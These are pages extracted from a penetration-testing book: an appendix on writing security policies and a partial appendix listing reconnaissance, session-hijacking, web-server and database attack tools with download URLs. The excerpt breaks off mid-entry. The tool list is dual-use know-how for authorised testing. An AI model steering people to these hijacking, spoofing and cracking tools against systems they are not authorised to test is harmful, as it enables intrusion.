the assets that need protection?\n• What threats do they face?\n• What is the cost of protecting them?\nAssets\nThe first part of your risk assessment is to identify the assets that need protection. Assets are \nanything from physical computers, digital information, building security, and even intellectual \nproperty. All of these require some form of protection. Whether it is from a fire burning down \nthe building or information being placed in the wrong hands, it could cost the company a \nsubstantial amount of money or embarrassment. Table A-1 lists basic items about which you \nshould gather information as it pertains to your category of security policy.\nTable A-1\nBasic Asset Information for a Security Policy\nAsset Category \nDescription\nHardware\nComputers/laptops\nServers, routers, switches\nPrinters, copiers\nSoftware\nOperating systems\nSource code\nData\nDatabases\nArchive tapes\nTransmitted information on the network\nIntellectual property \nPeople\nAdministrators\nUsers\n" }, { "page_number": 564, "text": "Risk Assessment\n537\nThreats\nThe second part of risk assessment details the possible threats to these assets. To be realistic, \nthis list will never be totally complete, but listing as much as possible can only help when \nplanning for costs. Table A-2 lists some possible threats to your business.\nCost\nLast but not least is calculating the cost of protecting your assets. Business decisions always \nweigh heavily on costs. If it costs more to protect something than it is actually worth, you \nshould seek an alternative method or solution or just not protect it. Table A-3 lists some different \ncosts associated with company assets.\nTable A-2\nPossible Security Threats\nThreat Category\nDescription\nHuman\nCracker\nHacker\nDisgruntled worker\nUntrained employee\nTerrorist\nDenial of service\nEquipment\nPower failure\nHardware failure\nNatural\nStorm\nFire\nFlood\nEarthquake\nLightning\nMeteor strike\nTable A-3\nAsset Protection Costs \nAsset\nCost\nComputer\nHardware \nSoftware \nInstallation and configuration\nData\nDatabase data\nPower failure\nUPS \nGenerator \ncontinues\n" }, { "page_number": 565, "text": "538\nAppendix A: Preparing a Security Policy\nGetting Acceptance\nAfter you have gathered all the risk assessment information, the next step is to present that data to \nthe appropriate department heads. Getting managers from several different areas such as help \ndesk, accounting, research, engineering, and human resources to place their input into the policy \nand sign off on it is critical to the successful implementation of the policy. People usually overlook \nthis basic step, and the result is a new security policy that no one had input into. When this \nhappens, managers do not rightfully enforce the policy onto their own departments. To prevent \nthat from happening, get managers involved, get them excited about security, and let them know \nthat their opinion is important. Security is their friend, not their enemy. Help people understand \nthat having and following documented policies and procedures makes their jobs easier. They will \nno longer be out on a limb when refusing a request from a senior member of staff to reuse a \npassword, because they can refer to the policy in support of their argument. When a company \nadopts this method of community policy building, everyone feels he has helped to contribute to \nthe new security policy, which facilitates department acceptance and enforcement.\nBasic Policy Requirements\nThis section explores the creation of a sample policy and its essential components. Assume that \nyou need to create a policy governing the use of electronic communications (e-mail). This \npolicy should cover the following subjects:\n• Purpose—The purpose states what the policy is all about and what it enforces.\n• Scope—The scope covers to whom the policy applies, what the affected equipment is, \nand what technologies are utilized. \n• Policy—The policy is the main content of the document that outlines what is \nacceptable behavior and what is not allowed. \n• Enforcement—Enforcement, as the name implies, is a detailed section that explains \npossible consequences if the policy is not followed.\n• Terms or Glossary—The terms section is not always needed; however, documents \ncan become quite technical, and readers might not always understand the terms or \nacronyms within the document. This section is a common area to help explain what \nthe terms mean for clarification.\nAsset\nCost\nBuilding\nReplacement and repair \nPersonnel \nDowntime \nRecruitment \nTraining time \nEmployee benefits\nTable A-3\nAsset Protection Costs (Continued)\n" }, { "page_number": 566, "text": "Basic Policy Requirements 539\nSample E-Mail Usage Policy\nThe following is a sample e-mail usage policy that covers all five subjects previously listed. \n\nE-mail Acceptable Use Policy\n1.0 Purpose\nIn the efforts to protect the image of , this policy has been put \ninto place. Every e-mail from employees should uphold the highest \nstandard of professionalism and tact that has always maintained in \nthe public eye. E-mail should be treated as official statements on the behalf of \n and must be written and read carefully at all times before being \nsent.\n2.0 Scope\nThe scope of this policy covers any use of e-mail sent from e-mail \naddresses and applies to every employee, vendor, contractor, and agent who uses e-mail \non the behalf of .\n3.0 Policy\n3.1 Prohibited Use. \n’s e-mail servers, systems, and client programs will not be used at \nany time for the creation or distribution of offensive or disruptive e-mail content. \nThis content includes but is not limited to offensive comments about race, gender, \ncolor, age, hair color, sexual orientation, disabilities, religious beliefs, political \nbeliefs, pornography, or nationality.\nAny employees who receive such e-mail with offensive content from other \n employees should report the incident to their direct supervisor \nimmediately.\n3.2 Personal Use\n e-mail for personal use is acceptable on a limited basis. However, \npersonal e-mails should be kept separate from standard company e-mails. Excessive use \nof for personal use is prohibited. \n3.3 Prohibited Use\n e-mail is never to be used for sending known viruses, chain \nletters, joke e-mails, spam, and mass mailings unless approved by your direct \nsupervisor.\n3.4 Monitoring\nE-mail at may be continuously monitored without prior notice to \nany employee. Employees should have no expectation that e-mail sent to or from \n is private. However, is not obligated to \nmonitor all e-mails.\n4.0 Enforcement\nAny employee found violating this e-mail policy will be subjected \nto disciplinary action and possible termination of employment.\n5.0 Glossary\nE-mail: Electronic mail delivered typically via the Internet.\n" }, { "page_number": 567, "text": "540\nAppendix A: Preparing a Security Policy\nUnderstanding Your Environment\nKnowing what constitutes a “normal” routine within your organization can give you greater \ninsight into the potential security risks that exist and any likely barriers to enforcing security \npolicy. What about that database server that all users access using a system admin account \nbecause the application vendor said it could not work any other way, or the fact that you can get \ninto the building without identification every morning between 7:30 and 8:00 because the night \nsecurity guard is out back preparing to leave and the daytime receptionist has not yet arrived? \nBalancing Productivity and Protection\nAlthough the overall aim of a security policy is to protect the assets of the organization, a policy \nthat is too restrictive can have the opposite effect. For example, if users are forced to adhere to \na complex password policy, you can expect two things: a significant increase in calls to your \nhelp desk for account resets, and the proliferation of “helpful reminders” stuck to monitors \naround the workplace. \nThe Trust Model\nWhen looking at levels of trust within your organization, three basic models exist:\n• Trust everyone all the time\n• Trust no one at any time\n• Trust some people some of the time\nEmploying the “Trust some people some of the time” model is most likely to ensure that your \nsecurity policy will gain acceptance by your user community without compromising the \nintegrity of the policy. At this level, access is delegated as needed while retaining controls (such \nas comprehensive auditing) to ensure that those trusts are not being violated. \nHow Should It Be Written?\nWrite your policy in terms that are simple to understand. Compliance should not be at the \nexpense of productivity; it is important that users throughout the organization understand the \nreason for the controls you are implementing.\nWho Creates the Policy?\nThe organization as a whole should be involved in the creation of its security policy. As stated \npreviously, gaining buy-in from key personnel is an important part of rolling out a successful \npolicy. The role of the security officer should be to present a case for security requirements and \n" }, { "page_number": 568, "text": "Basic Policy Requirements 541\nthen to facilitate the introduction of an accompanying policy based on the feedback from the \npolicy team. The team can appoint someone in charge of the policy and policy enforcement. \nIn addition, the process of creating a security policy helps define the critical company assets and \nthe ways they must be protected.\nTypes of Policies\nYou can create a security policy in two main ways:\n• One large blanket document containing everything\n• Several smaller, specific security policy documents\nEither approach is fine. The following sections cover general policy topics you might cover in \na large single document policy or for the production of several individual documents.\nE-Mail Policies\nE-mail is an integral part of a business these days. Most technology business cannot survive \nwell without it. E-mail has also become a great way for people to communicate about \nnonbusiness-related topics or even spread viruses. Basic e-mail guidelines should be created to \nprevent misuse that could tarnish the company reputation or allow e-mail to be used to spread \nviruses onto the network. A list of basic guidelines for an e-mail policy is as follows:\n• Do not use office e-mail for personal use.\n• Do not send offensive or disruptive messages.\n• Do not forward chain letters.\n• Open attachments with caution to prevent viruses from spreading.\n• Do not send sensitive company information via e-mail.\n• Do not conduct personal business with office e-mail.\n• The company will inform employees if e-mail monitoring is taking place.\n• Keep or store e-mail for only x days.\n• The use of encryption is/is not allowed.\nInternet Policies\nLike e-mail, the Internet has become a powerful standard tool in some businesses. For example, \nif a piece of hardware or software fails, administrators typically just search the web for quick, \nfree answers. However, the flip side of this is that users spend too much time on the Internet and \nmight even surf inappropriate or offensive websites. Each business has its own ideas about do’s \nand don’ts for this policy. Regardless of what you put in the policy, all users must understand \n" }, { "page_number": 569, "text": "542\nAppendix A: Preparing a Security Policy\nwhere they can and cannot go and that punishment can result if they violate the policy. Common \nitems in this policy include the following:\n• Identify to users whether URL tracking software is used.\n• Offer information about installation of content-filtering equipment.\n• Provide details of appropriate and inappropriate Internet use.\nRemote Access Policies\nAccessing the office network from nonoffice locations is more common these days than it has \nbeen in the past. A remote access policy defines how, when, and by whom access is allowed. \nFollowing are common items in this policy:\n• Available methods such as dialup, VPN, and ISDN\n• Allowance/disallowance of Telnet, SSH, and Terminal Service \n• Employees who are authorized to have remote access capability\n• Time of day that remote access is allowed\nPassword Policies\nPasswords are an important element of all computer security systems because passwords \nprovide access to the system. Keeping passwords secure is one of the hardest jobs that a security \nofficer does. If passwords are too short, malicious hackers might have easier access; if \npasswords are too complex, users might write them down on paper for later use. Every company \nstruggles with these requirements. Following are some basic topics that a password policy \nshould cover:\n• Acceptable password length\n• Password aging requirements\n• User lockout durations\n• Password complexity requirements\n• Guidelines on how to protect password storage\n• Explanation that users should not give passwords over the phone to anyone\n• Explanation that passwords should not be sent via e-mail\n• Risk of sharing passwords with family members\n• Written reminders of passwords in plain sight\n" }, { "page_number": 570, "text": "Basic Policy Requirements 543\nPhysical Access Policies\nBuildings, data centers, and equipment are primary targets for theft and intrusion areas. \nTypically, large companies have more available funds and often use them to hire security guards \nand implement surveillance systems. However, all companies should think about physical \naccess to the office and secure areas wherever they can. Common items include:\n• Building access\n• Data center access\n• Wiring cabinets\n• Parking lot access\n• ID cards\n• Whether anyone without a badge or ID should be challenged\n• Limited number of building keys\nBackup Policies\nThe need to create backups of data in just about any environment is usually obvious. If data is \naccidentally deleted or changed, backup tapes need to come out of storage to fix the problem. \nYou need to consider several items in the backup policy:\n• Creation of backups of important files\n• Documentation of a backup plan and labeling scheme \n• Creation of a backup rotation scheme \n• Encryption requirements for backed up data\n• Definition of a procedure for destruction of old tapes\n• Determination of backup retention times\n• Implementation of secure offsite storage facility to store backups\n• Periodical testing of backups by restoring them\n• Purchase of spare restore equipment and backup tables in case of hardware failure\nDisaster Recover Policy\nAlthough this document might not seem entirely relevant to your security policy, in the event \nof total loss of a system, room, building, or site, many aspects of it will have an impact on \nsecurity. For example, a disaster recovery plan needs to account for how to maintain security \nduring the recovery process. However, the specific contents of a disaster recovery policy are \nbeyond the scope of this topic and are not discussed in further detail here.\n" }, { "page_number": 571, "text": "544\nAppendix A: Preparing a Security Policy\nNOTE\nLook at the reading room area of SANS.org for more information about the types of security \npolicies, along with some excellent samples.\nSecurity Policy Implementation and Review\nAfter you have completed your security policy, the next steps are to implement and monitor all \nthe technical and nontechnical items needed within your newborn policies. Remember, though, \nthat your documents are never really complete. You always need to adjust and tune the policy \nwhen you discover new threats that you can mitigate by addressing issues in an existing policy.\nPreparing a Security Policy in Ten Basic Steps\nFollowing is a basic step-by-step checklist for creating a security policy: \nStep 1\nDetermine the general policy needed.\nStep 2\nState the high-level purpose for the policy.\nStep 3\nPerform risk assessment.\na\nCollect assets.\nb\nReview threats.\nc\nGenerate costs.\nStep 4\nPresent the risk assessment and proposed policy purpose to departmental \nmanagers.\nStep 5\nDetermine the policy structure (one large or several small ones).\nStep 6\nPrepare the policy outline.\na\nPurpose\nb\nScope\nc\nPolicy\nd\nEnforcement\ne\nTerms/glossary\nStep 7\nGet the final signoff of the policy from all departmental managers.\nStep 8\nIssue the policy to employees, and have them sign it if required.\nStep 9\nImplement or activate the new policy.\nStep 10 Continually review the policy for flaws, and update it as required.\n" }, { "page_number": 572, "text": "Reference Links 545\nReference Links\nThe following sources provide further reading and examples of policy ideas you might not have \nthought of yet:\nFor information security resources, visit NIST Computer Security Division at http://\ncsrc.nist.gov.\nView RFC 1244, “Site Security Handbook,” at http://www.faqs.org/rfcs/rfc1244.html.\nView RFC 2196, “Site Security Handbook,” at http://www.faqs.org/rfcs/rfc2196.html.\nGet help with the creation of your security policy at http://www.computer-security-\npolicies.com/.\nFor a wealth of resources on the creation of information security policy, visit http://\nsecinf.net/policy_and_standards/.\nFind further information on all aspects of security policy at the SANS Institute: http://\nwww.sans.org/resources/policies/#name.\nVisit the SANS Institute Reading Room at http://www.sans.org/rr/.\nFor help creating an ISO7799 compliant policy, go to http://www.ruskwig.com/\nsecurity_policies.htm.\nArticles and information relating to security policies are available at http://\nwww.securitydocs.com/Security_Policies.\n" }, { "page_number": 573, "text": "" }, { "page_number": 574, "text": "A P P E N D I X B\nTools\nThis appendix provides a list of tools categorized according to the chapters in the book. \nAlthough the chapters contained in this book cover many of the popular software \napplications that you can use in penetration testing, numerous others are just as good. Use \nthis appendix to research other tools that you might find useful in your penetration testing \ntoolbox.\nThis appendix is broken down by chapter beginning with Chapter 5, “Performing Host \nReconnaissance.” All of the web references work as of the time of writing.\nYou can also find a hyperlinked PDF version of this appendix at http://www.ciscopress.com/ \ntitle/1587052083 to easily launch your web browser to the URLs listed.\nPerforming Host Reconnaissance (Chapter 5)\nTool\nURL\nDescription\n7thportscan\nhttp://www.zone-h.com/en/download/category=71/\nA small port scanner.\nAcePing\nhttp://www.zone-h.com/en/download/category=28/\nA tool that checks the network statistics and the \nstate of remote computers.\nAdvanced Net \nTool (ANT)\nhttp://www.zone-h.com/en/download/category=71/\nA tool that includes the following utilities: \nportscan, traceroute, dns, sharescan, ping, \nwhois, and others.\nAdvanced \nPort Scanner\nhttp://www.pcflank.com\nA TCP Connect() and TCP SYN Port scanner.\nAltavista\nhttp://www.altalavista.com\nA good tool for searching newsgroups.\nAmap\nhttp://www.thc.org\nA next-generation scanning tool that identifies \napplications and services even if they are not \nlistening on the default port by creating a bogus \ncommunication and analyzing the responses.\ncontinues\n" }, { "page_number": 575, "text": "548\nAppendix B: Tools\nTool\nURL\nDescription\nAngry IP \nScanner\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA fast and small IP scanner. It pings each IP \naddress to check whether it is alive. Then, \noptionally, it resolves host names and tries to \nconnect as specified in the Options dialog box \nTCP port.\nAnimal Port \nScanner\nhttp://www.zone-h.com/en/download/category=71/\nA simple port scanner.\nAPNIC\nhttp://www.apnic.net\nAsia Pacific Internet Registrar.\nArchaeoptery\nx\nhttp://www.zone-h.com/en/download/category=28/\nA passive mode OS identification tool.\nArchive.org \nhttp://www.archive.org\nAn archive of the web. Allows you to view old \nwebsites.\nARIN\nhttp://www.arin.net\nAmerican Registry for Internet Numbers.\nARPing\nhttp://www.habets.pp.se/synscan/\nprograms.php?prog=arping\nBroadcasts a who-has ARP packet on the \nnetwork and prints answers.\nAW Security \nPort Scanner\nhttp://www.atelierweb.com\nA high-speed TCP Connect scanning engine.\nCentral Ops \nNetwork \nUtilities\nhttp://www.centralops.net\nA tool that provides online Internet utilities \nincluding traceroute, NSLookup, ping, and \nothers.\nCheops\nhttp://www.marko.net/cheops/\nAn open source tool to locate, access, and \ndiagnose network resources.\nClearSight \nAnalyzer\nhttp://www.spirentcom.com\nA network and application analyzer with visual \ntools to detect problems.\nDNS Stuff\nhttp://www.dnsstuff.com\nA tool that provides numerous Internet DNS \ntools including Whois, NSLookup, ping, \ntracert, and others.\nDsniff\nhttp://naughty.monkey.org/~dugsong/dsniff/\nA collection of tools for network auditing and \npenetration testing.\nEmail Tracker \nPro\nhttp://www.emailtrackerpro.com/index.html\nA tool that analyzes e-mail to identify the e-\nmail address and location of the sender.\nFast Port \nScanner\nhttp://www.zone-h.com/en/download/category=71/\nFPS stands for Fast Port Scanner. \nFlameThrower http://www.antara.net\nWeb and firewall stress-test tool.\nFriendlyPinger http://www.kilievich.com/\nA powerful and user-friendly application for \nnetwork administration, monitoring, and \ninventory.\n" }, { "page_number": 576, "text": "Performing Host Reconnaissance (Chapter 5) 549\nTool\nURL\nDescription\nFS32 Scanner\nhttp://www.zone-h.com/en/download/category=71/\nA tool that scans a range of IP addresses for \nFTP access. After you are logged in, FS32 \nproceeds to extract the following information: \nresume capability, FXP (PASV), and directory \ncreate/delete permissions.\nGFI \nLANguard\nhttp://www.gfi.com/lannetscan/\nGFI LANguard Network Security Scanner \n(N.S.S.) checks your network for all potential \nmethods that a hacker might use to attack it. By \nanalyzing the operating system and the \napplications running on your network, GFI \nLANguard N.S.S. identifies possible security \nholes.\nGobbler\nhttp://www.networkpenetration.com/\ndownloads.html\nA remote OS detection tool that spoofs your \nsource address.\nGoogledorks\nhttp://Johnny.ihackstuff.com\nA great website to search Googled-for error \nmessages on websites that reveal way too much \ninformation.\nHPING2\nhttp://www.hping.org/\nA TCP/IP packet assembler/dissassembler.\nICMPID\nhttp://www.nmrc.org/project/index.html\nA utility that does remote OS identification \nusing five ICMP packets only. Offers many \nextra features, including IP spoofing support. \nIP Blocks\nhttp://www.nologin.org/main.pl?action=codeList&\nAn IP subnetting and enumeration tool.\nIP Tools\nhttp://www.zone-h.com/en/download/category=71/\nA tool that scans your network for servers and \nopen ports.\nIP Tracer 1.3\nhttp://www.soft32.com\nAn IP tracer that discovers the country and city \nfor a specific IP.\nJava Port \nScanner\nhttp://www.zone-h.com/en/download/category=71/\nA port scanner written in Java.\nLACNIC\nhttp://www.lacnic.net\nLatin American Internet registrar.\nLanDiscovery http://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA small utility that enables you to browse the \nlocal network. It quickly enumerates all \navailable network machines and lists them with \ntheir shares.\nLanSpy\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA network security scanner that allows you to \ngather information about machines on the \nnetwork. This includes domain and NetBIOS \nnames, MAC address, server information, \ndomain and domain controller information, \nremote control, time, discs, transports, users, \nglobal and local users groups, policy settings, \nshared resources, sessions, open files, services, \nregistry and event log information.\ncontinues\n" }, { "page_number": 577, "text": "550\nAppendix B: Tools\nTool\nURL\nDescription\nLibvsk\nhttp://www.s0ftpj.org/en/site.html\nA set of libraries for network traffic \nmanipulation from the user level, with some \nfunctions of filtering and sniffing.\nLocal Port \nScanner\nhttp://www.zone-h.com/en/download/category=71/\nAnother small port scanner.\nMercury \nLoadRunner\nhttp://www.mercury.com\nA load-testing product for predicting system \nbehavior and performance. Using limited \nhardware resources, LoadRunner emulates \nhundreds or thousands of concurrent users to \nput the application through the rigors of real-\nlife user loads.\nMooreR Port \nScanner\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA basic, standalone network scanner that \nincludes more than 3000 predefined ports to \nallow you to see what services are running on \nthe machine.\nNBTscan\nhttp://www.inetcat.org/software/nbtscan.html\nA program for scanning IP networks for \nNetBIOS name information. It sends a \nNetBIOS status query to each address in a \nsupplied range and lists received information in \nhuman-readable form. For each responded host, \nit lists IP address, NetBIOS computer name, \nlogged-in username, and MAC address. \nNessus\nhttp://www.nessus.org/\nAn open-source vulnerability scanner.\nNetScanTools \nPro\nhttp://www.netscantools.com/\nA set of information-gathering utilities for \nWindows 2003/XP/2000.\nNetView \nScanner\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nNetView Scanner is three security applications \nin one: \nNetView scans IP addresses for available \nWindows file and print sharing resources.\nPortScan scans IP addresses for listening TCP \nports.\nWebBrute tests user password strength on \nHTTP Basic Authenticated websites.\nNEWT\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA network scanner for administrators that scans \nmachines on a network and attempts to retrieve \nas much detailed information as possible \nwithout the need to run a client on the remote \ncomputer.\n" }, { "page_number": 578, "text": "Performing Host Reconnaissance (Chapter 5) 551\nTool\nURL\nDescription\nNikto\nhttp://www.cirt.net/code/nikto.shtml\nAn open-source (GPL) web server scanner that \nperforms comprehensive tests against web \nservers for multiple items, including more than \n3100 potentially dangerous files/CGIs, versions \non more than 625 servers, and version-specific \nproblems on more than 230 servers.\nNmap\nhttp://www.insecure.org/nmap/\nA popular port scanner with many options for \nvarious port-scanning methods.\nNscan\nhttp://www.zone-h.com/en/download/category=71/\nA fast port scanner for Windows (up to 200 \nports per second) for both hosts and large \nnetworks with numerous features.\nNSLookup\nIncluded with most operating systems (On Linux, \ncompare with the Dig utility)\nA tool for discovering IP information on DNS \nnames.\nOneSixtyOne\nhttp://www.phreedom.org/solar/onesixtyone/\nindex.html\nAn SNMP scanner.\nPackit (Packet \ntoolkit)\nhttp://packetfactory.net/projects/packit/\nA network auditing tool that has the capability \nto customize, inject, monitor, and manipulate IP \ntraffic.\nP0f\nhttp://lcamtuf.coredump.cx/p0f.shtml\nA passive OS fingerprinting tool.\nPORTENT \nSupreme\nhttp://www.loadtesting.com\nAn HTTP load tester.\nPromiScan\nhttp://www.shareup.com\nNetwork sniffing detection software.\nProport\nhttp://www.zone-h.com/en/download/category=71/\nA rapid port scanner.\nRetina\nhttp://www.eeye.com/html/Research/Tools/\nRPCDCOM.html\nA vulnerability scanner.\nRipe\nhttp://www.ripe.net\nThe European Internet registry.\nRoot Access \nPort Scanner\nhttp://www.zone-h.com/en/download/category=71/\nA Windows-based port scanner.\nSamSpade\nhttp://www.samspade.org/\nA free network query tool with a variety of \nfeatures, including the capability to scan for e-\nmail relays, perform DNS zone transfers, and \ncrawl websites.\nScapy\nhttp://www.secdev.org/projects/scapy\nAn interactive packet manipulation tool, packet \ngenerator, network scanner, network discovery, \nand packet sniffer.\nSendIP\nhttp://www.earth.li/projectpurple/progs/sendip.html A command-line tool to allow sending of \narbitrary IP packets. \nSentinel\nhttp://www.packetfactory.net/projects/sentinel/\nAn implementation project of effective remote \npromiscuous detection techniques.\ncontinues\n" }, { "page_number": 579, "text": "552\nAppendix B: Tools\nTool\nURL\nDescription\nServersCheck\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA tool for monitoring, reporting, and alerting on \nnetwork and system availability.\nSmart Whois\nhttp://www.tamos.com/products/smartwhois/\nA useful network information utility that allows \nyou to look up all the available information \nabout an IP address, host name or domain, \nincluding country, state or province, city, name \nof the network provider, administrator, and \ntechnical support contact information.\nSniff-em\nhttp://www.sniff-em.com\nA program that captures, monitors, and \nanalyzes network traffic, detecting bottlenecks \nand other network-related problems.\nSNScan\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nAn SNMP detection utility that can quickly and \naccurately identify SNMP-enabled devices on a \nnetwork.\nSoftPerfect \nNetwork \nScanner\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA multithreaded IP, SNMP, and NetBIOS \nscanner.\nSuperScan\nhttp://www.foundstone.com\nAnother simple port scanner.\nTeleport Pro\nhttp://www.tenmax.com/teleport/pro/home.htm\nA tool to copy websites to your hard drive.\nTHC-RUT\nhttp://www.thc.org/thc-rut\nTHC-RUT (pronounced root) is a wide range of \nnetwork discovery utilities such as ARP lookup \non an IP range, spoofed DHCP request, RARP, \nBOOTP, ICMP-ping, ICMP address mask \nrequest, OS fingerprinting, and high-speed host \ndiscovery.\nTHC-Scan\nhttp://www.thc.org/\nA war dialer/scanner for DOS and Windows.\nTFP\nhttp://xenion.antifork.org\nAn OS detection tool.\nTIFNY\nhttp://www.tucows.com/preview/195236.html\nA utility that opens up to six simultaneous \nsessions to read and download binaries from \nnewsgroups.\nTraceProto\nhttp://traceproto.sourceforge.net/index.php\nA traceroute replacement that lets you specify \nthe protocol and port to trace to.\nTracert \n(Windows)/\nTraceroute\nIncluded with UNIX/Linux/Cisco operating \nsystems\nA utility to trace a packet through a network.\nTrellian Trace \nRoute\nhttp://www.tucows.com\nA site spidering tool.\nTrout\nhttp://www.zone-h.com/en/download/category=71/\nA visual traceroute and Whois program.\nVisual \nLookout\nhttp://www.visuallookout.com\nA tool to automatically monitor and log IP \nconnection activity on your host.\n" }, { "page_number": 580, "text": "Understanding and Attempting Session Hijacking (Chapter 6) 553\nUnderstanding and Attempting Session Hijacking \n(Chapter 6)\nTool\nURL\nDescription\nVisual Route \nTrace\nhttp://www.visualware.com\nA tool that has integrated traceroute, ping, \nreverse DNS, and Whois tools and will also \nshow the connection route on a world map.\nWebspy\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA small tool that lets you find web servers and \nautomatically resolve their domain name (if \nany).\nWhois\nBuilt in to most operating systems\nA tool that allows you to look up registration \ndata for domains.\nWotWeb\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nA cut-down port scanner specifically made to \nscan for and display active web servers and \nshow the server software running on them.\nXprobe\nhttp://www.sys-security.com/\nindex.php?page=xprobe\nAn active OS fingerprinting tool.\nYAPS (Yet \nAnother Port \nScanner)\nhttp://www.snapfiles.com/Freeware/network/\nfwscanner.html\nYAPS is short for “Yet Another Port Scanner.” \nand this is exactly what it is. In fact, YAPS is a \nbasic but small and fast TCP/IP port scanner \nwith little configuration options and a fairly \nplain interface.\nZodiac\nhttp://www.packetfactory.net/projects/zodiac/\nA DNS protocol analyzation and exploitation \nprogram.\nTool\nURL\nDescription\nArp0c\nhttp://www.phenoelit.de/arpoc/index.html\nA connection interceptor program that uses ARP \nspoofing.\narprelay\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA tool that forwards IP packets between two \nmachines on an Ethernet that have been told that \nthe MAC address of the other is some random \nspoofed MAC address.\ndsniff\nhttp://naughty.monkey.org/~dugsong/dsniff/\nA collection of tools for network auditing and \npenetration testing.\nFake\nhttp://www.0xdeadbeef.info/\nA utility that takes over an IP address using ARP \nspoofing.\nfuzzy-fingerprint http://www.thc.org/thc-ffp/\nA technique that extends common man-in-the-\nmiddle (MITM) attacks by generating fingerprints \nthat closely look like the public key fingerprint of \nthe target. \ncontinues\n" }, { "page_number": 581, "text": "554\nAppendix B: Tools\nPerforming Web-Server Attacks (Chapter 7)\nTool\nURL\nDescription\nHjksuite\nhttp://www.pkcrew.org/tools/hjksuite/\nA collection of programs for hijacking.\nIP Watcher\nhttp://engarde.com\nA network security monitor for UNIX that \nprovides the capability to control intruders in real-\ntime.\nJuggernaut\nhttp://www.lot3k.org/tools/spoofing/1.2.tar.gz\nA network sniffer that can also be used to hijack \nsessions.\nNBTdeputy\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA tool that registers a NetBIOS computer name on \nthe network and is ready to respond to NetBT \nname-query requests.\nOTU\nhttp://www.s0ftpj.org/en/site.html\nMITM concept code.\nRemote TCP \nSession Reset\nhttp://www.solarwinds.net\nA tool that allows a network administrator to \nremotely reset a TCP session.\nSMBRelay\nhttp://pr0n.newhackcity.net/~sd/smbrelay.html\nA tool that registers a fake SMB server, which can \nbe used for MITM attacks.\nSnarp\nhttp://www.securityfocus.com/tools/1969\nA tool for Windows NT 4.0 that uses an ARP \npoison attack to relay traffic between two hosts, \nallowing sniffing of the data on switched networks.\nT-Sight\nhttp://engarde.com\nAn intrusion detection and network monitoring \ntool for Windows that can monitor transaction \ndata, control intruders in real-time, set alarms for \ncertain activities, and produce reports or graphs of \nusage.\nTTY Watcher\nhttp://engarde.com\nA host security monitor with active \ncountermeasures. \nTool\nURL\nDescription\n9x CGI Bug \nFinder\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA tool to scan a host for CGI bugs.\nApache \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nAn Apache vulnerability scanner.\nBabelweb\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA program that automates tests on an HTTP server. \nBabelweb follows the links and the HTTP redirect, \nbut it is programmed to remain on the original server.\nBurp proxy\nhttp://portswigger.net/proxy/\nAn interactive HTTP/S proxy server for attacking and \ndebugging web-enabled applications. It operates as a \nMITM between the end browser and the target web \nserver. It also allows the user to intercept, inspect, and \nmodify the raw traffic passing in both directions.\n" }, { "page_number": 582, "text": "Performing Web-Server Attacks (Chapter 7) 555\nTool\nURL\nDescription\nDomino Web \nServer Scanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA vulnerability scanner for Domino web server.\nDW PHP \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA vulnerability scanner that checks for PHP \nvulnerabilities on web servers.\nhttprint\nhttp://net-square.com/httprint/index.html\nhttprint is a web server fingerprinting tool. It relies on \nweb server characteristics to accurately identify web \nservers, despite the fact that they might have been \nobfuscated by changing the server banner strings, or \nby plug-ins such as mod_security or servermask.\nIIS Security \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA vulnerability scanner for Microsoft IIS servers.\nNikto\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA web server scanner that performs comprehensive \ntests against web servers for multiple items, including \nmore than 2200 potentially dangerous files/CGIs, \nversions on more than 140 servers, and problems on \nmore than 210 servers.\nPHPNuke\nhttp://www.zone-h.com/en/download/\ncategory=71/\nScans for vulnerable PHP servers.\nPHPBB \nVulnerability \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA PHP vulnerability scanner.\nPTwebdav \nbuffer overflow \nchecker\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA remote WebDAV buffer overflow checker.\nTWWWScan\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA Windows-based www vulnerability scanner that \nlooks for 400 www/cgi vulnerabilities.\nUnicodeupload\ner.pl\nhttp://www.sensepost.com\nA Perl script that exploits vulnerable web servers and \nuploads files.\nURL Checker\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA CGI scanner that checks for more than 700 \nvulnerabilities.\nVoidEye CGI \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA CGI scanner.\nWfetch\nhttp://support.microsoft.com/support/kb/\narticles/Q284/2/85.ASP\nA utility included with the IIS 6.0 Resource Kit from \nMicrosoft. You can use this utility to retrieve files \nfrom a web server to test them for vulnerabilities.\nWhisker\nhttp://www.wiretrip.net/rfp\nA CGI scanner.\nWinSSLMiM \n(includes \nFakeCert)\nhttp://www.zone-h.com/en/download/\ncategory=28/\nWinSSLMiM is an HTTPS MITM attacking tool. It \nincludes FakeCert, a tool to make fake certificates.\n" }, { "page_number": 583, "text": "556\nAppendix B: Tools\nPerforming Database Attacks (Chapter 8)\nCracking Passwords (Chapter 9)\nTool\nURL\nDescription\nDatabase \nScanner\nhttp://www.iss.net\nA vulnerability scanner that specifically checks \npopular database applications.\nEMS MySQL \nManager\nhttp://ems-hitech.com/mymanager\nA tool for managing MySQL databases.\nOSQL\nBuilt into Microsoft SQL Server\nA tool that performs command-line SQL queries.\nSqlBF\nhttp://packetstormsecurity.org/Crackers/\nsqlbf.zip\nA brute force password-cracking program for SQL 